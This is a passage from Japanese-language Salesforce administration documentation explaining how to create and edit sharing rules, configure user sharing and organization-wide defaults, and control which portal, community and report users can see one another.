し、条件に基づく共有ルールを最大で 50 件含めることができます。

メモ: 作業指示の条件に基づく共有はベータバージョンです。組織で有効
にする方法の詳細は、Salesforce にお問い合わせください。

1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい
ることを確認します。

2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を
選択します。

3. [作業指示共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] を入力して [ルール名] 項目をクリックすると、自動的に入力

が行われます。
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5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可能で、1000 文字まで入力でき
ます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロップ
ダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超えるキュー、
グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールールま
たは Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後の項目
を条件として使用できます。

8. [共有先] 行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。
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共有ルールの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先および取引先責任
者の共有ルールを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先テリトリー、ケー
ス、リード、商談、注文
およびカスタムオブジェ
クト共有ルールを使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キャンペーン共有ルール
を使用可能なエディショ
ン: Professional Edition (追
加購入で使用可能)、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Database.com Edition で利
用できるのはカスタムオ
ブジェクト共有ルールの
みです。

共有ルールを使用すると、特定のユーザセットにデータへのアクセス権を付与
できます。共有ルールを使用する場合は、次の点に留意してください。
アクセスの許可

• 共有ルールを使用すると、より広範囲のデータアクセス権を付与できま
す。アクセス権を組織全体のデフォルトレベルより低く制限することは
できません。

• 複数共有ルールでユーザにレコードへの複数のアクセスレベルが与えら
れた場合、ユーザは最も権限の大きいアクセスレベルを獲得します。

• 共有ルールでは、関連レコードへの追加アクセス権を自動的に付与しま
す。たとえば、商談共有ルールでは、ロールまたはグループメンバーに
共有商談に関連付けられた取引先へのアクセス権がなければ付与します。
同様に、取引先責任者共有ルールとケース共有ルールでは、ロールまた
はグループメンバーに関連付けられた取引先へのアクセス権も付与しま
す。

• オブジェクトが標準オブジェクトであるか、[階層を使用したアクセス許
可]オプションが選択されている場合、共有ルールでは、ロール階層内の
ユーザに階層内の下位ユーザと同じアクセス権が自動的に付与されます。

• 共有ルールに関係なく、ユーザは少なくとも自分のテリトリーの取引先
を参照できます。また、テリトリーの取引先に関連する取引先責任者、
商談、ケースを参照および編集するアクセス権がユーザに付与されます。

更新
• 既存のルールと同じ共有元および共有先グループを使用して所有者に基

づく共有ルールを作成すると、既存のルールが上書きされます。
• 共有ルールを保存した後、共有ルールを編集する場合に [共有先]項目は

変更できません。
• 共有ルールは、ソースデータセットの定義に適合する新規および既存の

レコードすべてに適用されます。
• 共有ルールは、有効ユーザと無効ユーザの両方に適用されます。
• 共有ルールのアクセスレベルを変更すると、既存のレコードはすべて、

新しいアクセスレベルを反映して自動的に更新されます。
• 共有ルールを削除すると、そのルールで作成された共有アクセス権は自

動的に削除されます。
• グループ、ロール、またはテリトリー内のユーザを変更すると、共有ルールが再評価され、必要に応じ

てアクセス権が追加または削除されます。
• ユーザ間でレコードを転送すると、共有ルールが再評価され、転送されたレコードへのアクセス権が必

要に応じて追加または削除されます。
• 共有ルールを変更すると、一度に大量のレコードの変更が必要になる場合があります。この変更を効率

的に処理するために、要求がキューに入れられ、プロセスが完了したときにメール通知を受信する場合
があります。
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• リードを取引先、取引先責任者、商談レコードに変換した後、リード共有ルールでは、リード情報への
アクセス権は自動的に付与されません。

ポータルユーザ
• ほとんどの種類のカスタマーポータルユーザとSalesforceユーザ間で、レコードを共有するルールを作成

できます。同様に、カスタマーポータルマネージャユーザライセンスを持つ、異なる取引先のカスタ
マーポータルユーザ間で共有ルールを作成できます。ただし、大規模ポータルユーザにはロールがな
く、公開グループに入れることができないため、共有ルールに含めることはできません。

• [ポータルユーザアクセス権の変換] ウィザードを使用して、ロール、および内部下位ロールを含む共有
ロールを含むように簡単に変換できます。さらに、このウィザードを使用して、公開されているレポー
ト、ダッシュボード、およびドキュメントフォルダを、ポータルユーザ以外のすべてのユーザがアクセ
スできるように変換できます。

管理パッケージの項目
条件に基づく共有ルールで、ライセンスが期限切れになったライセンス付き管理パッケージの項目を参照
すると、項目の表示ラベルに (expired)が追加されます。項目の表示ラベルは、[設定] のルール定義ペー
ジの [項目] ドロップダウンリストに表示されます。期限切れの項目を参照する条件に基づく共有ルールは
再適用されず、そのルールに基づいて新しいレコードが共有されることはありません。ただし、パッケー
ジが期限切れになる前の既存のレコードの共有は保持されます。

関連トピック:

共有ルール
コミュニティのルールの共有

ユーザ共有
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

共有の直接設定、ポータ
ル、およびコミュニティ
を使用可能なエディショ
ン: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ共有では、内部ユーザまたは外部ユーザを組織内の別のユーザから表示
または非表示にできます。
たとえば、メーカーの場合、すべての販売店を組織に参加させる必要がある一
方で、販売店同士が参照したり連絡を取り合ったりしないようにすることが考
えられます。この場合は、ユーザオブジェクトの組織の共有設定を [非公開] に
設定します。続いて、共有ルールや共有の直接設定を使用して、指定された販
売店へのアクセスを許可します。
ユーザ共有により、次の操作を実行できます。
• すべてのユーザを参照したり、すべてのユーザとやりとりしたりする必要の

あるユーザに「すべてのユーザの参照」権限を割り当てる。「ユーザの管
理」権限を持っているユーザは、この権限が自動的に有効になります。

• ユーザレコードの組織の共有設定を [非公開] または [公開/参照のみ] に設定す
る。

• グループメンバーシップまたはその他の条件に基づいてユーザ共有ルールを
作成する。

• ユーザレコードの共有の直接設定を作成して、個々のユーザまたはグループにアクセスできるようにする。
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• カスタマーポータル、パートナーポータル、およびコミュニティでの外部ユーザの表示を制御する。

関連トピック:

ユーザ共有について
ユーザ表示設定のデフォルトへの復元
コミュニティまたはポータルユーザが表示できるユーザの制御

ユーザ共有について

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

共有の直接設定を使用可
能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

内部および外部ユーザレコードの組織の共有を設定します。その後、メンバー
シップに基づく共有ルールを使用して、アクセス権を公開グループ、ロール、
またはテリトリーに拡張したり、共有の直接設定を使用して個々のユーザレコー
ドを他のユーザやグループと共有したりします。
ユーザ共有を有効にすると、ユーザに他のユーザに対する参照アクセス権があ
る場合に限り、検索やリストビューなどでそのユーザを参照できます。
ユーザ共有を実装する前に、次の考慮事項を確認してください。
「すべてのユーザの参照」権限

この権限は、共有の設定に関係なく、すべてのユーザへの参照アクセス権が
必要なユーザに付与できます。すでに「ユーザの管理」権限がある場合は、
「すべてのユーザの参照」権限が自動的に付与されています。

ユーザレコードの組織の共有設定
この設定のデフォルトは、外部ユーザに対しては [非公開]で、内部ユーザに
対しては [公開/参照のみ]です。デフォルトのアクセス権が [非公開]に設定さ
れている場合、ユーザは各自のユーザレコードのみ表示および編集できま
す。ロール階層で部下を持つユーザは、その部下のユーザレコードへの参照アクセス権限を保持します。

ユーザ共有ルール
全般的な共有ルールに関する考慮事項がユーザ共有ルールにも適用されます。ユーザ共有ルールは、公開
グループ、ロール、またはテリトリーへのメンバーシップに基づいています。各共有ルールでは、共有元
グループのメンバーが共有先グループのメンバーと共有されます。共有ルールを作成する前に、適切な公
開グループ、ロール、またはテリトリーを作成する必要があります。ユーザはロール階層内で自分より下
位のユーザと同じアクセス権を継承します。

ユーザレコードの共有の直接設定
共有の直接設定では、個々のユーザの参照または編集アクセス権を付与できますが、付与するアクセス権
が対象ユーザのデフォルトのアクセス権よりも高い場合に限られます。ユーザはロール階層内で自分より
下位のユーザと同じアクセス権を継承します。Apex 管理共有はサポートされていません。

外部ユーザのユーザ共有
「外部ユーザの管理」権限を持つユーザには、ユーザレコードの共有ルールや組織の共有設定に関係なく、
パートナーリレーションの管理、カスタマーサービス、およびカスタマーセルフサービスポータルユーザ
の外部ユーザレコードへのアクセス権があります。「外部ユーザの管理」権限では、ゲストまたは Chatter

外部ユーザへのアクセス権は付与されません。
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ユーザ共有の互換性
ユーザオブジェクトの組織の共有設定が [非公開] に設定されている場合、ユーザ共有はこれらの機能を完
全にはサポートしません。
• 外部ユーザは、Chatter Messenger を使用できません。これは、ユーザオブジェクトの組織の共有設定が

[公開/参照のみ] に設定されている場合にのみ、内部ユーザが使用できます。
• カスタマイザブル売上予測: 「すべての売上予測の参照」権限を持つユーザは、自分がアクセス権を持っ

ていないユーザを表示できます。
• Salesforce CRM Content: ライブラリを作成できるユーザは、ライブラリメンバーを追加するときに、自分が

アクセス権を持っていないユーザを表示できます。
• 標準レポートタイプ: 標準レポートのタイプに基づく一部のレポートで、ユーザがアクセス権を持って

いないユーザのデータを公開します。詳細は、「標準レポートの表示の制御」を参照してください。

関連トピック:

ユーザ共有

ユーザレコードの組織の共有設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

ユーザオブジェクトへのアクセスを開設する前に、そのオブジェクトに組織の
共有設定を実行します。
ユーザレコードに対して、組織の共有設定を [非公開] または [公開/参照のみ] に
設定できます。レコードを表示してはいけないユーザが 1 人でもいる場合は、
このデフォルトを [非公開] に設定する必要があります。
組織に、内部ユーザ (従業員と営業エージェント) と、さまざまな営業エージェ
ントやポータル取引先の下に外部ユーザ (顧客/ポータルユーザ) がいて、次の要
件があるとします。
• 従業員は全員を表示できる。
• 営業エージェントは従業員、他のエージェント、および自分の顧客のユーザ

レコードのみを表示できる。
• 顧客は、同じエージェントまたはポータル取引先の下にいる他の顧客のみを

表示できる。
これらの要件を満たすために、デフォルトの外部アクセス権を [非公開] に設定
し、共有ルール、共有の直接設定、ユーザ権限を使用してアクセス権を拡張し
ます。
この機能が最初に有効化されるとき、外部ユーザのデフォルトのアクセス設定
は非公開になっています。内部ユーザのデフォルトは、[公開/参照のみ]です。ユーザオブジェクトへの外部ア
クセス権の組織の共有設定を変更する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。
2. [組織の共有設定] 領域で [編集] をクリックします。
3. ユーザレコードに使用するデフォルトの内部および外部のアクセス権を選択します。

デフォルトの外部アクセス権の制限は、デフォルトの内部アクセス権以上にする必要があります。
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4. [保存] をクリックします。
ユーザは、ロール階層が下位のユーザレコードへの参照アクセス権と、自身のユーザレコードへの完全ア
クセス権を保持します。

関連トピック:

外部組織の共有設定の概要
コミュニティまたはポータルユーザが表示できるユーザの制御
ユーザ共有

ユーザ共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

あるグループのメンバーを別のグループと共有したり、条件に基づいてユーザ
を共有したりします。
ユーザ共有ルールは、公開グループ、ロール、テリトリーへのメンバーシップ、
または部署や役職などの他の条件に基づいて作成できます。デフォルトでは、
最大で 300 件のユーザ共有ルールを定義し、条件に基づく共有ルールを最大で
50件含めることができます。これらの制限の引き上げに関する情報は、Salesforce

までお問い合わせください。
メンバーシップに基づくユーザ共有ルールでは、あるグループのメンバーに属
するユーザレコードを別のグループのメンバーと共有できます。メンバーシッ
プに基づくユーザ共有ルールを作成する前に、適切なグループが作成されてい
ることを確認します。
ユーザはロール階層内で自分より下位のユーザと同じアクセス権を継承します。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [ユーザ共有ルール] 関連リストで、[新規] をクリックします。
3. [表示ラベル名] を入力して [ルール名] 項目をクリックすると、自動的に入力

が行われます。
4. [説明] を入力します。この項目は、共有ルールについて説明します。省略可能で、1000 文字まで入力でき

ます。
5. ルールタイプを選択します。
6. 選択したルールタイプに応じて、次の手順を実行します。

a. グループメンバーシップに基づく  — あるグループのメンバーであるユーザを別のグループのメンバーと
共有できます。[次のメンバーであるユーザ] 行で、最初のドロップダウンリストからカテゴリを選択
し、次のドロップダウンリスト (または、組織に 200 を超えるグループ、ロール、テリトリーがある場合
は参照項目) からユーザセットを選択します。

b. 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。
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7. [共有先]行では、ユーザレコードへのアクセス権を与えるグループを指定します。最初のドロップダウン
リストからカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

8. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。リストビュー、ルックアップ、検索の対象

参照のみ

ユーザを参照することや、Chatter で対話することが
できます。

レコードの参照と更新ができます。参照・更新

9. [保存] をクリックします。

関連トピック:

ユーザ共有ルールの編集
共有ルールのカテゴリ
ユーザ共有

ユーザ共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

グループまたはロールへのメンバーシップに基づくユーザ共有ルールの場合は、
アクセス設定のみを編集できます。他の条件に基づくユーザ共有ルールの場合
は、条件とアクセス設定を編集できます。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [ユーザ共有ルール] 関連リストで、変更するルールの横にある[編集]をクリッ

クします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. グループメンバーシップに基づくルールを選択した場合は、次の手順に進み

ます。条件に基づくルールを選択した場合は、共有ルールに含めるためにレ
コードが満たす必要がある条件を指定します。使用可能な項目は選択したオ
ブジェクトによって異なり、値は数字か文字列にする必要があります。各検
索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検
索条件ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。[ユーザのアクセス権] レベルは、
共有されるグループのメンバーのユーザに適用されます。
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説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

6. [保存]をクリックします。

関連トピック:

ユーザ共有

ユーザレコードの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザレコードを表示す
る
• ユーザレコードに対す

る「参照」

システム管理者は、ユーザレコードに対する組織の共有モデルとデフォルトの
アクセスレベルを定義します。組織のデフォルトのアクセスレベルが [非公開]

または [公開/参照のみ] に設定されている場合は、自分のユーザレコードに対す
る共有権限を拡張できます。ただし、組織のデフォルトより低いレベルにアク
セスを制限することはできません。
外部コミュニティユーザ、カスタマーポータルユーザ、パートナーポータルユー
ザなどの外部ユーザレコードを共有できます。内部ユーザレコードを外部ユー
ザと共有することもできます。共有の詳細を表示および管理するには、ユーザ
の詳細ページで[共有]をクリックします。共有の詳細ページには、ユーザレコー
ドへの共有アクセス権を持つユーザ、グループ、ロール、およびテリトリーが
一覧表示されます。このページでは、次のタスクを実行できます。
• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。作成したビューを編集または削除
するには、[表示]ドロップダウンリストから選択し、[編集]をクリックしま
す。

• [追加] をクリックして、他のユーザ、グループ、ロール、またはテリトリー
のレコードへのアクセス権を付与します。この方法によるアクセス権の付与
は、ユーザレコードの共有の直接設定とも呼ばれます。

• ルールの横にある [編集] または [削除] をクリックして、共有の直接設定を編集または削除します。
システム管理者は、すべてのユーザに対してユーザレコードの共有の直接設定を無効化または有効化すること
ができます。

関連トピック:

ユーザ共有
共有の直接設定によるユーザ共有と共有セットによるユーザ共有の相違点
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ユーザレコードへのアクセスの許可

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

自分のユーザレコードへ
のアクセスを許可する
• 自分と共有するユーザ

に対する「参照」

他のユーザがユーザレコードにアクセスできるように、アクセスを手動で許可
することができます。ユーザは、ロール階層内で自分より下位のユーザと同じ
アクセス権限を継承します。ユーザレコードへのアクセス権を他のユーザに許
可すると、ユーザの詳細ページが他のユーザに表示されます。また、ルックアッ
プ、リストビュー、検索などでもユーザが表示されるようになります。
組織全体のデフォルト、共有ルール、またはロール階層を介して他のユーザが
ユーザレコードにアクセスできない場合、ユーザレコードの共有を直接設定で
きます。複数の方法でアクセス権を取得した場合は、最も高いアクセスレベル
が保持されます。共有の直接設定を使用して大規模ポータルユーザを他のユー
ザと共有することはできますが、共有ルールに含めることはできません。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。共有するユーザ名をクリックします。
2. [ユーザの詳細] ページで、[共有] をクリックします。
3. [追加] をクリックします。
4. ドロップダウンリストから、共有するグループ、ユーザ、ロール、またはテ

リトリーを選択します。
5. ユーザを [共有先] リストに追加して、アクセスを許可するユーザを選択しま

す。
6. 共有するレコードに対するアクセスレベルを選択します。

ユーザの組織の共有設定に応じて、[参照・更新] や [参照のみ] などの値を選択します。組織の共有設定より
高いアクセスレベルのみを許可できます。

7. [保存] をクリックします。
8. レコードアクセスを変更するには、ユーザの共有の詳細ページで [編集] または [削除] をクリックします。
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コミュニティまたはポータルユーザが表示できるユーザの制御

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティユーザ表示
とポータルユーザ表示を
設定する
• 「共有の管理」

組織でコミュニティが有効になっていて、ポータルライセンスが提供されてい
る場合、ユーザ共有が自動的に有効になります。ユーザ共有が有効になってい
ると、デフォルトでコミュニティユーザに表示される他のユーザを選択できま
す。組織にカスタマーポータルまたはパートナーポータルがある場合、それら
のデフォルトも設定できます。お互いに表示できるユーザは、組織のすべての
コミュニティまたはポータルでやりとりができます。たとえば、より秘匿性の
高いコミュニティが必要な場合、[コミュニティユーザ表示]チェックボックスを
オフにして、共有ルール、共有の直接設定、ポータルアクセスなどの他の共有
機能を使用できます。
コミュニティとポータルで異なるデフォルトを選択できます。
コミュニティ

最初のデフォルトでは、コミュニティユーザはメンバーとして属しているコ
ミュニティの他のすべての内部ユーザおよび外部ユーザに表示されます。コ
ミュニティの外部ユーザが自身とロール階層の上位ユーザにのみ表示される
ようにデフォルトを変更できます。この設定では「参照」アクセス権のみが
付与され、組織のすべてのコミュニティに適用されます。
[コミュニティユーザ表示] 設定によるユーザ表示設定は、ロール階層を通じて継承されません。ロール階
層のマネージャがコミュニティのメンバーでない場合、マネージャの部下がメンバーであっても、マネー
ジャはコミュニティの他のメンバーにアクセスすることはできません。

ポータル
最初のデフォルトでは、ポータルユーザは同じ取引先内の他のポータルユーザに表示されます。ポータル
の外部ユーザが自身とロール階層の上位ユーザにのみ表示されるようにデフォルトを変更できます。この
設定では「参照」アクセス権のみが付与され、組織のすべてのポータルに適用されます。

メモ: パートナーポータルユーザは、そのチャネルマネージャにもアクセスできます。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。
2. [組織の共有設定] 領域で [編集] をクリックします。
3. ユーザが自身とその上位ユーザにのみ表示されるようにするには、[ポータルユーザ表示] チェックボック

スをオフにします。ポータルユーザが同じ取引先内の他のすべてのポータルユーザに表示されるようにす
るには、このチェックボックスをオンにします。

4. [コミュニティユーザ表示] の場合、ユーザが自身とその上位ユーザにのみ表示されるようにするには、
チェックボックスをオフにします。コミュニティユーザがコミュニティ内の他のすべてのユーザに表示さ
れるようにするには、このチェックボックスをオンにします。

メモ: このオプションは、Salesforce Communities が有効な場合にのみ表示されます。

5. [保存] をクリックします
これらのオプションのいずれかをオンするだけで、[非公開] の組織の共有設定を上書きして、コミュニティま
たはポータルユーザのユーザオブジェクトに外部アクセスできます。
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これらのデフォルトを設定すると、ユーザへのアクセス権を選択的に拡張できます。

関連トピック:

ユーザレコードの組織の共有設定
ユーザ共有ルールの作成
標準レポートの表示の制御
ユーザ共有

標準レポートの表示の制御

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

標準レポートの表示を設
定する
• 「共有の管理」

ユーザがアクセス権を持っていないユーザのデータを公開している可能性のあ
る標準レポートを表示または非表示にします。
ユーザがアクセス権を持っていないユーザのデータを公開している可能性のあ
る標準レポートのタイプに基づいて、それらのユーザがレポートを表示できる
かどうかを制御できます。ユーザ共有が最初に有効になっている場合、表示し
ているユーザがアクセス権を持っていないユーザのデータが含まれているすべ
てのレポートは非表示になっています。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [組織の共有設定] 領域で [編集] をクリックします。
3. ユーザがアクセス権を持っていないユーザのデータを公開している可能性の

ある標準レポートのタイプに基づいて、それらのユーザがレポートを表示で
きるようにするには、[標準レポート表示]チェックボックスをオンにします。
あるいは、これらのレポートを非表示にする場合は、このチェックボックス
をオフにします。

4. [保存] をクリックします。
ユーザオブジェクトの組織の共有設定が [非公開] になっている場合に [標準レ
ポート表示] チェックボックスをオンにすると、表示しているユーザは、レポートでアクセス権を持っていな
いユーザの名前のみを表示することができます。ユーザ名や電子メールなどのユーザの詳細は表示されませ
ん。[標準レポート表示]チェックボックスをオフにしても、「すべてのユーザの参照」権限を持っているユー
ザは標準レポートのタイプに基づいてすべてのレポートを表示できます。また、ユーザオブジェクトの組織の
共有設定が [公開/参照のみ] に設定されている場合、すべてのユーザはこれらのレポートを表示できます。

重要: 分析共有が有効であると、共有されているレポートフォルダおよびダッシュボードフォルダに対し
て、組織のすべてのユーザに閲覧者アクセス権が付与されます。フォルダの指定されたマネージャまた
はエディタだったユーザや、追加のシステム管理者権限を持つユーザには、さらに高いアクセス権が付
与される場合があります。フォルダに対する各ユーザのアクセス権は、フォルダアクセスとユーザ権限
の組み合わせに基づきます。必要に応じて標準レポートフォルダが非表示になるようにするには、フォ
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ルダからすべてのユーザの共有を削除します。次に、ユーザのプロファイルの [公開フォルダのダッシュ
ボードを参照] および [公開フォルダのレポートを参照] チェックボックスをオフにします。

関連トピック:

ユーザ共有
ユーザ共有でサポートされるレポートタイプ

ユーザレコードの共有の直接設定の制御

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザレコードの共有を
手動で有効または無効に
する
• 「ユーザの管理」

組織全体で各自のユーザレコードを他のユーザと共有できるようにしたり、共
有できないようにしたりします。
ユーザの詳細ページに [共有] ボタンを表示するかどうかを制御できます。この
ボタンを使用すると、ユーザは自分自身のユーザレコードへのアクセス権を他
のユーザに付与できます。すべてのユーザに対してこのボタンを非表示にする、
または表示するには、次の手順を実行します。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [組織の共有設定] 領域で [編集] をクリックします。
3. ユーザ詳細ページに[共有]ボタンを表示するには、[ユーザレコードの手動共

有] チェックボックスをオンにします。これにより、ユーザはレコードを他
のユーザと共有できます。ボタンを非表示にするには、チェックボックスを
オフにします。これにより、ユーザはユーザレコードを他のユーザと共有で
きなくなります。

4. [保存] をクリックします。
ユーザの組織の共有設定が [公開/参照のみ] に設定されている場合、ユーザは他
のすべてのユーザレコードへの参照アクセス権を取得でき、検索やリストビュー
でそれらのユーザを参照したり、Chatter やコミュニティでそれらのユーザとやりとりしたりできます。

例: たとえば、パートナーユーザがコミュニティの営業担当とコラボレーションする場合を考えます。[共
有設定] ページの [コミュニティユーザ表示]チェックボックスをオフにしている場合、コミュニティユー
ザは自身とロール階層の上位ユーザにのみ表示されます。共有の直接設定を使用して、営業担当への参
照アクセス権をパートナーユーザに付与できます。これを行うには、営業担当のユーザ詳細ページの [共
有]ボタンを使用します。このアクセス権により、コミュニティ内で両者のやりとりやコラボレーション
ができるようになります。

関連トピック:

コミュニティまたはポータルユーザが表示できるユーザの制御
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ユーザ表示設定のデフォルトへの復元

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

ポータルおよびコミュニ
ティを使用可能なエディ
ション: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザ表示設定をデフォ
ルトに復元する
• 「共有の管理」

ユーザ共有によって、組織の誰が誰を参照するかを制御できます。以前にユー
ザ共有を使用している場合、デフォルトに復元できます。
ユーザ表示設定をデフォルトに復元する
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. 組織の共有設定を [公開/参照のみ] (内部アクセス) および [非公開] (外部アクセ

ス) に設定します。
3. ポータル取引先ユーザのアクセス権を有効にします。

[共有設定] ページで、[ポータルユーザ表示] チェックボックスをオンにしま
す。このオプションにより、カスタマーポータルユーザが同じポータル取引
先の他のユーザを表示できるようになります。また、パートナーポータル
ユーザはポータル取引先所有者を表示できます。

4. ネットワークメンバーのアクセス権を有効にします。
[共有設定] ページで、[コミュニティユーザ表示] チェックボックスをオンに
します。このオプションにより、コミュニティ内の他のすべてのユーザがコ
ミュニティメンバーを表示できるようになります。

5. ユーザ共有ルールを削除します。
[共有設定] ページで、使用可能なすべてのユーザ共有ルールの横にある [削
除] をクリックします。

6. ユーザレコードへの HVPU アクセスを削除します。
[カスタマーポータル設定] ページで、HVPU で使用可能なすべての共有セットの横にある [削除] をクリック
します。

ユーザ表示設定がデフォルトに復元されたら、すべての内部ユーザ、同じポータル取引先のポータルユーザ、
および同じコミュニティのコミュニティメンバーが互いに表示されるようになります。

関連トピック:

コミュニティまたはポータルユーザが表示できるユーザの制御
ユーザ共有
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ユーザ共有でサポートされるレポートタイプ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

標準レポートタイプに基づいたレポートでは、ユーザがアクセス権を持ってい
ないユーザのデータが公開される可能性があります。
次のレポートタイプでは、参照ユーザがアクセス権を持っていないユーザのデー
タが公開される可能性があります。
• 取引先
• 取引先所有者
• 納入商品が関連する取引先
• カスタムオブジェクトが関連する取引先
• パートナーが関連する取引先
• API 使用状況
• 商談が関連するキャンペーン
• カスタマイザブル売上予測: 売上予測履歴一覧
• カスタマイザブル売上予測: 商談売上予測一覧
• 見積が関連するカスタムオブジェクト商談レポート
• 被招集者が関連する行動
• 商談
• 商談項目履歴
• 商談履歴
• 商談の動向
• 商談と接続
• 競合が関連する商談
• 取引先責任者のロールが関連する商談
• 取引先責任者のロールと商品が関連する商談
• カスタムオブジェクトが関連する商談
• パートナーが関連する商談
• 商品が関連する商談
• 商品とスケジュールが関連する商談
• 見積と見積ドキュメントが関連する商談
• 見積と見積品目が関連する商談
• 営業チームが関連する商談
• 営業チームと商品が関連する商談
• 商談の分割
• 商品が関連する商談の分割
• 商品およびスケジュールが関連する商談の分割
デフォルトでは、これらのレポートには適切なアクセス権のあるユーザのみがアクセスできます。ただし、関
連ユーザに対する適切なアクセス権のないユーザにそれらのレポートを表示するように設定を変更できます。
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また、一部のレポートにはユーザのロールが表示される可能性があります。ユーザがレコードを表示できてそ
のレコード所有者へのアクセス権がない場合、そのユーザにはそれらのレポートに所有者のロールが表示され
ます。

関連トピック:

標準レポートの表示の制御
ユーザ共有

共有の直接設定によるユーザ共有と共有セットによるユーザ共有の相違点

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有の直接設定および共有セットにより、さまざまなユーザグループにアクセ
ス権が付与されます。
組織でユーザ共有を有効にしている場合は、内部ユーザと外部ユーザを含め、
組織の誰が誰を参照するかを制御できます。共有の直接設定や共有セットによ
り、組織の共有設定や共有ルールを超えたアクセス権を付与できます。大規模
ポータルユーザやコミュニティユーザ (HVPU) などの外部ユーザにはロールがな
く、共有ルールに含めることができません。

例: 内部ユーザや非 HVPU ユーザのアクセス権をユーザに付与する場合は、
そのユーザの詳細ぺージにある [共有] ボタンを使用して、共有の直接設定
を作成します。HVPU アクセス権を他のユーザに付与する場合は、ポータル
